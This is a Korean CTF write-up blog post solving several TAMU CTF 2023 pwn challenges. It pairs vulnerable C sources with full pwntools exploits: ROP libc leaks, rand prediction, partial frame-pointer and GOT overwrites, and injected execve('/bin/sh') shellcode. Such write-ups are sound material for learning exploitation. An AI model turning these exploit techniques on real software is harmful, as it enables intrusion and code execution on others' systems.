Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[TAMU CTF 2023] Write up 본문

Hack/CTF

[TAMU CTF 2023] Write up

CIDY 2023. 5. 8. 03:34

지난 주말에 했던 ctf인데, 물론 포너블만 풀었다. 동아리 팀에는 포너블 잘하시는 분들이 너무 많이 계셔서 앞으로는 솔플을 하면서 실력을 좀 다져야 겠다는 생각이 든다..

총체적으로 문제 수준이 별로기는 했는데.. 그래도 더 삽질해보고 잡아보고 올솔브하고싶었는데 이래저래 할 일도 있고 해서 7/10 해버렸다. 쩝..

 

 

Inspector Gadget


main함수

 

pwnme함수

 

mitigation

 

그냥 pwnme에서 오버플로우 넉넉히 주니 rop하라는 문제다.

 

from pwn import *

#p = process("./inspector-gadget")
#e = ELF("./inspector-gadget")
#libc = e.libc
libc = ELF("./libc.so.6")
p = remote("tamuctf.com", 443, ssl=True, sni="inspector-gadget")

pop_rdi = 0x40127b
pwnme = 0x4011a3

pay = b""
pay += b"A" * 0x18
pay += p64(pop_rdi)
pay += p64(0x404018)
pay += p64(0x401030)
pay += p64(pwnme)
p.sendafter("pwn me", pay)

puts = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = puts - libc.sym['puts']
print(hex(libc_base))

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))

pay = b""
pay += b"A" * 0x18
pay += p64(pop_rdi)
pay += p64(binsh)
pay += p64(pop_rdi + 1)
pay += p64(system)
p.sendafter("pwn me", pay)

p.interactive()

릭해서 pwnme한번 더 돌면서 슈슉

 

 

Unlucky


#include <stdio.h>
#include <stdlib.h>

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    static int seed = 69;
    srand(&seed);

    printf("Here's a lucky number: %p\n", &main);

    int lol = 1;
    int input = 0;
    for (int i = 1; i <= 7; ++i) {
        printf("Enter lucky number #%d:\n", i);
        scanf("%d", &input);
        if (rand() != input) {
            lol = 0;
        }
    }

    if (lol) {
        char flag[64] = {0};
        FILE* f = fopen("flag.txt", "r");
        fread(flag, 1, sizeof(flag), f);
        printf("Nice work, here's the flag: %s\n", flag);
    } else {
        puts("How unlucky :pensive:");
    }
}

코드주소를 주니까 srand에 시드로 들어가는 &seed를 구해서 랜덤값 맞힐 수 있다. 물론 srand에는 int형(4바이트)랜덤값이 들어가므로 하위 4바이트 잘라줘야 한다. 암튼 그렇게 7번 랜덤값 때려맞추면 알아서 플래그 준다.

 

from pwn import *
from ctypes import *
libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")

#p = process("./unlucky")
e = ELF("./unlucky")
p = remote("tamuctf.com", 443, ssl=True, sni="unlucky")

p.recvuntil(b"Here's a lucky number: ")
main = int(p.recvline()[:-1], 16)
code_base = main - e.sym['main']
print(hex(code_base))
seed = (code_base + 0x4068) & 0xffffffff
libc.srand(seed)

for i in range(7):
    p.recvline()
    p.sendline(str(libc.rand()).encode())

p.interactive()

 

 

Pointers


#include <stdio.h>
#include <unistd.h>

void upkeep() {
    // Not related to the challenge, just some stuff so the remote works correctly
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void win() {
    char* argv[] = {"/bin/cat", "flag.txt", NULL};
    execve(argv[0], argv, NULL);
}

void lose() {
    char* argv[] = {"/bin/echo", "loser", NULL};
    execve(argv[0], argv, NULL);
}

void vuln() {
    char buf[010];
    printf("Interaction pls: ");
    read(0, buf, 10);
}

int main() {
    upkeep();
    void* func_ptrs[] = {lose, win};
    printf("All my functions are being stored at %p\n", func_ptrs);
    
    vuln();
    
    void (*poggers)() = func_ptrs[0];
    poggers();
}

win으로 뛰면 플래그 읽어준다. 그런데 vuln에서 8진수로 010만큼의 버퍼를 선언하는 바람에 2바이트 오버플로우 난다. 즉 rbp를 조작할 수 있다.

이런식으로 lose를 데려와서 call하는 거고, win의 포인터도 이미 스택에 올라가 있으므로 rbp만 살짝 조작해주면 lose대신 win이 호출되게 할 수 있다.

 

from pwn import *

p = remote("tamuctf.com", 443, ssl=True, sni="pointers")
#p = process("./pointers")

p.recvuntil(b"All my functions are being stored at ")
pointer = int(p.recvline()[:-1], 16)
overwrite = ((pointer + 0x20) & 0xffff) + 0x8

pay = b"A" * 8 + bytes([overwrite & 0xff]) + bytes([(overwrite >> 8) & 0xff])
p.sendafter(b"Interaction pls:", pay)
p.interactive()

ez

 

 

Randomness


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void upkeep() {
    // Not related to the challenge, just some stuff so the remote works correctly
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void win() {
    char* argv[] = {"/bin/cat", "flag.txt", NULL};
    execve(argv[0], argv, NULL);
}

void foo() {
    unsigned long seed;
    puts("Enter a seed:");
    scanf("%lu", &seed);
    srand(seed);
}

void bar() {
    unsigned long a;

    puts("Enter your guess:");
    scanf("%lu", a);

    if (rand() == a) {
        puts("correct!");
    } else {
        puts("incorrect!");
    }
}


int main() {
    upkeep();
    puts("hello!");
    foo();
    bar();
    puts("goodbye!");
}

이것도 win으로 뛰면 플래그를 읽어준다. 그런데 rand값을 맞춰도 알아서 win으로 뛰어주지는 않는다. 그냥 잘했다고 칭찬만 해줌.. 그런데 scanf할 때 a에 &를 안 해준다. 게다가 a는 초기화되어있지 않다. 즉 a에 어떤 값이 들어있다면, 그 값이 가리키는 곳에 scanf해서 8바이트 쓸 수 있게 되는 것이다. 그런데 bar()이전에 호출되는 foo()가 bar()과 선언되는 변수 자료형과 크기가 완전히 동일하다. 즉 스택에서의 foo의 seed위치가 bar의 a로 재활용 될 것이라는 것이다. 따라서 seed에는 덮고싶은 함수의 got를, a에는 win함수의 주소를 적으면 된다.

 

from pwn import *

#p = process("./randomness")
e = ELF("./randomness")
p = remote("tamuctf.com", 443, ssl=True, sni="randomness")

p.sendlineafter("Enter a seed:", str(e.got['puts']))
p.sendlineafter("Enter your guess:", str(e.sym['win']))

p.interactive()

ez2

 

 

Sea Shells


#include <stdio.h>
#include <stdlib.h>

int check(unsigned long n, unsigned long sold) {
    if ((n & 0xffff) == (sold & 0xffff)) {
        return 1;
    }
    return 0;
}

void vuln() {
    unsigned long num_sold;
    char resp;
    unsigned long a;
    unsigned long b;
    unsigned long c;
    unsigned long d;
    
    num_sold = rand();

    printf("It's not that easy though, enter 4 numbers to use to guess!\n");
    
    do {
        // ask user for input
        printf("1st number: ");
        scanf("%lu", &a);
        printf("2nd number: ");
        scanf("%lu", &b);
        printf("3rd number: ");
        scanf("%lu", &c);
        printf("4th number: ");
        scanf("%lu", &d);

        // perform some calculations on the numbers
        d = d + c;
        c = c ^ b;
        b = b - a;

        if (check(d, num_sold)) {
                printf("Woohoo! That's exactly how many she sold!\n");
                printf("Here's a little something Sally wants to give you for your hard work: %lx\n", &d);
        } else {
                printf("Sorry, that's not quite right :(\n");
        }

        // go again?
        printf("Would you like to guess again? (y/n) ");
        scanf("%s", &resp);

    } while (resp == 'Y' || resp == 'y');

    return;
}

void welcome() {
    printf("Sally sold some sea SHELLS!\n");
    printf("Try to guess exactly how many she sold, I bet you can't!!\n");
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    welcome();
    vuln();
    
    printf("'bye now'\n-Sally\n");
    return 0;
}

이건 srand를 쓰지 않기 때문에 매번 num_sold에 동일한 랜덤값(?)이 들어갈 수 밖에 없다. 그리고 저 알 수 없는 숫자 입력과 연산과정들은 왜 있는지 도무지 모르겠을 만큼 아무 짝에도 쓸모가 없다!

암튼 rand값 맞추면 스택주소를 선물로 릭해준다. 아 그리고 이게 nx가 없어서 scanf에 %s로 입력받을 때 오버플로우 일으키면서 쉘코드 박고 ret에 릭한 주소로 쉘코드 주소 넣으면 된다. nx가 없는건 원.. 시드랩 하는줄

 

from pwn import *

#p = process("./sea-shells")
p = remote("tamuctf.com", 443, ssl=True, sni="sea-shells")

rand = 0x6b8b4567

p.sendlineafter("1st number: ", str(0).encode())
p.sendlineafter("2nd number: ", str(0).encode())
p.sendlineafter("3rd number: ", str(0).encode())
p.sendlineafter("4th number: ", str(rand).encode())

p.recvuntil(b"Here's a little something Sally wants to give you for your hard work: ")
stack = int(p.recvline()[:-1], 16)
target = stack + 0x40

context.arch = 'x86_64'
sc = asm(shellcraft.execve("/bin/sh",0,0))
pay = b""
pay += b"A" * (0x9 + 0x8)
pay += p64(target)
pay += sc
p.sendlineafter(b"Would you like to guess again? (y/n) ", pay)
p.interactive()

쉘코드 복사해오기조차 귀찮아서 쉘크래프트 씀.

 

 

Bank


#include <stdio.h>

long accounts[100];
char exit_msg[] = "Have a nice day!";

void deposit() {
    int index = 0;
    long amount = 0;
    puts("Enter the number (0-100) of the account you want to deposit in: ");
    scanf("%d", &index);
    puts("Enter the amount you want to deposit: ");
    scanf("%ld", &amount);
    accounts[index] += amount;
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    deposit();
    deposit();
    puts(exit_msg);
}

일단 아래쪽 oob로 got나 data, bss영역에 얼마든지 접근이 가능하다. 첫 번째 deposit에서 msg를 binsh로 바꿔준다. ㅋㅋㅋㅋㅋ 물리적 binsh에서 물리적 msg를 빼는게 좀 웃기긴 하다.

그리고 두번째 deposit에서 puts(이미 실행된 적 있으니 ㅇㅋ)랑 system offset계산해서 슬쩍해주면 된다.

 

from pwn import *

#p = process("./bank")
p = remote("tamuctf.com", 443, ssl=True, sni="bank")
libc = ELF("./libc.so.6")

binsh = 0x0068732f6e69622f
msg = 0x6e20612065766148
offset = binsh - msg

p.sendlineafter(b"Enter the number (0-100) of the account you want to deposit in: ", str(-10).encode())
p.sendlineafter(b"Enter the amount you want to deposit: ", str(offset).encode())
offset = libc.sym['system'] - libc.sym['puts']
p.sendlineafter(b"Enter the number (0-100) of the account you want to deposit in: ", str(-16).encode())
p.sendlineafter(b"Enter the amount you want to deposit: ", str(offset).encode())

p.interactive()

ez~

 

 

Pwnme


이거 삽질좀했다. 아직도 내가 푼 풀이가 인텐인지 모르겠는 문제이기도 하다.

일단 main함수는 이런데, pwnme가 라이브러리 함수임을 알 수 있다. 즉 자체 라이브러리를 제작한 모양.

 

그 라이브러리를 까 보면 이렇게 생겼다. 이때까지는 win함수도 있고 오버플로우도 적당히 있고 잘 해결될 줄 알았다. 

그런데 생각해보면 win도 라이브러리 함수라 쓸려면 릭이 필요하다ㅋㅋㅋㅋㅋㅋ 여기서부터 삽질의 서막이 시작됐다. 무조건 릭해야 하는데, 어떻게 할 수 있을까? 

바이너리에서 호출되는 함수는 pwnme딱 하나뿐이라 plt를 쳐도 이렇게만 나와서 미칠 지경이었다.

출력함수도 없는데 어떻게 릭하란거지??? 싶었는데 어떻게 잘 릭했다. 그 과정은 다음과 같다.

 

1. pop_rdi에 pwnme의 got를 넣는다.

 

2. mov rax, QWORD PTR [rdi] 가젯을 쓴다. 그럼 rax에 라이브러리 주소가 들어간다.

 

3. pop rsi r15 ret가젯으로 rsi에 0x18을 넣어준다.

 

4. sub rax, rsi 가젯을 쓴다. 그럼 rax에는 win의 주소가 들어가게 된다. (win과 pwnme가 라이브러리에서 가까움)

 

5. call rax가젯을 쓴다. 그럼 win이 호출된다.

 

진짜 정적 컴파일도 아닌데 쓸 수 있는 가젯이란 가젯은 다 끌어모아서 익스플로잇 시나리오를 짰다!

그런데 이걸 한 번에 수행하기에 0x48이란 길이는 너무 짧았다.

 

여기서 또 한번 막혔다. 두 페이로드를 어떻게든 이어붙여야 해서, 처음에는 뒷부분 페이로드를 삽입함과 동시에 ret위치에서 pwnme를 의미없이 몇번 더 호출시켜서 스택 위치를 올린 다음, 앞부분 페이로드를 삽입해서 딱 이어붙일 생각이었다.

 

그런데 pwnme를 계속 호출할수록 스택이 낮아졌다ㅋㅋㅋㅋㅋㅋ어이가 없어서 그만둘 뻔 했지만 포기하지 않고 호출할 수 있는 함수가 pwnme말고도 main이 있다는걸 떠올렸다. main호출 -> main에서 pwnme호출하면 스택이 제법 쌓여서 적당히 더미 계산해서 두 페이로드를 이어붙일 수 있게 된다.

from pwn import *

e = ELF("./pwnme")
libc = ELF("./libpwnme.so")

#p = process("./pwnme")
p = remote("tamuctf.com", 443, ssl=True, sni="pwnme")

pop_rdi = 0x40118b
rdi2rax = 0x401191
pwnme_got = 0x404018
callrax = 0x401010
subrax = 0x4011b2
pop_rsi_r15 = 0x401189
main = 0x401195

pay = b""
pay += b"A" * 0x18
pay += p64(main)
pay += b"A" * 0x8
pay += p64(subrax)
pay += p64(callrax)
p.sendafter("pwn me", pay)

pay = b""
pay += b"A" * 0x18
pay += p64(pop_rdi)
pay += p64(pwnme_got)
pay += p64(rdi2rax)
pay += p64(pop_rsi_r15)
pay += p64(0x18)
pay += p64(0)

p.sendafter("pwn me", pay)

p.interactive()

 

 

Encryptinator


#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

#define MAX_LEN 1024
#define FLAG_LEN 30

void upkeep() {
    // Not related to the challenge, just some stuff so the remote works correctly
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void print_hex(char* buf, int len) {
    for (int i=0; i<len; i++) {
        printf("%02x", (unsigned char)buf[i]);
    }
    printf("\n");
}

void encrypt(char* msg, int len, char* iv) {
    char key[len];
    FILE *file;
    
    file = fopen("/dev/urandom", "rb");
    fread(key, len, 1, file);
    fclose(file);    

    for (int i=0; i<len; i++) {
        msg[i] = msg[i] ^ key[i] ^ iv[i % 8];
    }
}

void randomize(char* msg, int len, unsigned long seed, unsigned long iterations) {
    seed = seed * iterations + len;

    if (iterations > 1) {
        randomize(msg, len, seed, iterations- 1);
    } else {
        encrypt(msg, len, ((char *) &seed));
    }
}

char menu() {
    char option;
    printf("\nSelect from the options below:\n");
    printf("1. Encrypt a message\n");
    printf("2. View the encrypted message\n");
    printf("3. Quit\n");
    printf("> ");
    scanf("%c", &option);
    while (getchar() != '\n');
    return option;
}

void console() {
    FILE* file;
    long seed;
    int index;
    int read_len;
    char buf[MAX_LEN] = "";
    int len = -1;

    while (1) {
        switch(menu()) {
            case '1':
                // get user input
                printf("\nPlease enter message to encrypt: ");
                fgets(buf, MAX_LEN-FLAG_LEN, stdin);
                len = strlen(buf);

                // add flag to the buffer
                file = fopen("flag.txt", "rb");
                fread(buf + len, FLAG_LEN, 1, file);
                fclose(file);
                len += FLAG_LEN;

                // encrypt
                seed = ((long) rand()) << 32 + rand();
                randomize(buf, len, seed, buf[0]);
                break;
            case '2':
                if(len == -1) {
                    printf("Sorry, you need to encrypt a message first.\n");
                    break;
                }

                index = 0;
                printf("\nRead a substring of the encrypted message.");
                printf("\nPlease enter the starting index (%d - %d): ", index, len);
                scanf("%d", &index);
                while (getchar() != '\n');

                if (index > len) { 
                    printf("Error, index out of bounds.\n");
                    break;
                }

                printf("Here's your encrypted string with the flag:\n");
                print_hex(buf+index, len - index);
                break;
            case '3':
                printf("goodbye.\n");
                exit(0);
            default:
                printf("There was an error processing that request, please try again.\n");
                break;
        }
    }

}


int main() {
    srand(time(NULL)); 
    upkeep();

    // welcome
    printf("Welcome to my encryption engine: ENCRYPT-INATOR!\n");
    printf("I'll encrypt anything you want but no guarantees you'll be able to decrypt it,\n");
    printf("I haven't quite figured out how to do that yet... :(\n"); 
    console();
}

취약점은 분명하다. case 2에서 index가 len보다 크지만 않으면 되므로, index에 음수를 입력하게 될 경우 buf - index부터 index + len만큼 출력할 수 있다. 즉, 아래쪽으로 무한하게 메모리 릭이 발생하는 것이다.

'Hack > CTF' 카테고리의 다른 글

[DanteCTF 2023] Write up  (2) 2023.06.05
[DEFCON CTF 2023 Qualifier] Open House(작성중)  (0) 2023.06.02
[Midnight Sun CTF 2023] MemeControl  (0) 2023.04.09
[POXX 2022 본선] Write-up?  (0) 2023.02.28
[LACTF 2023] stuff  (4) 2023.02.15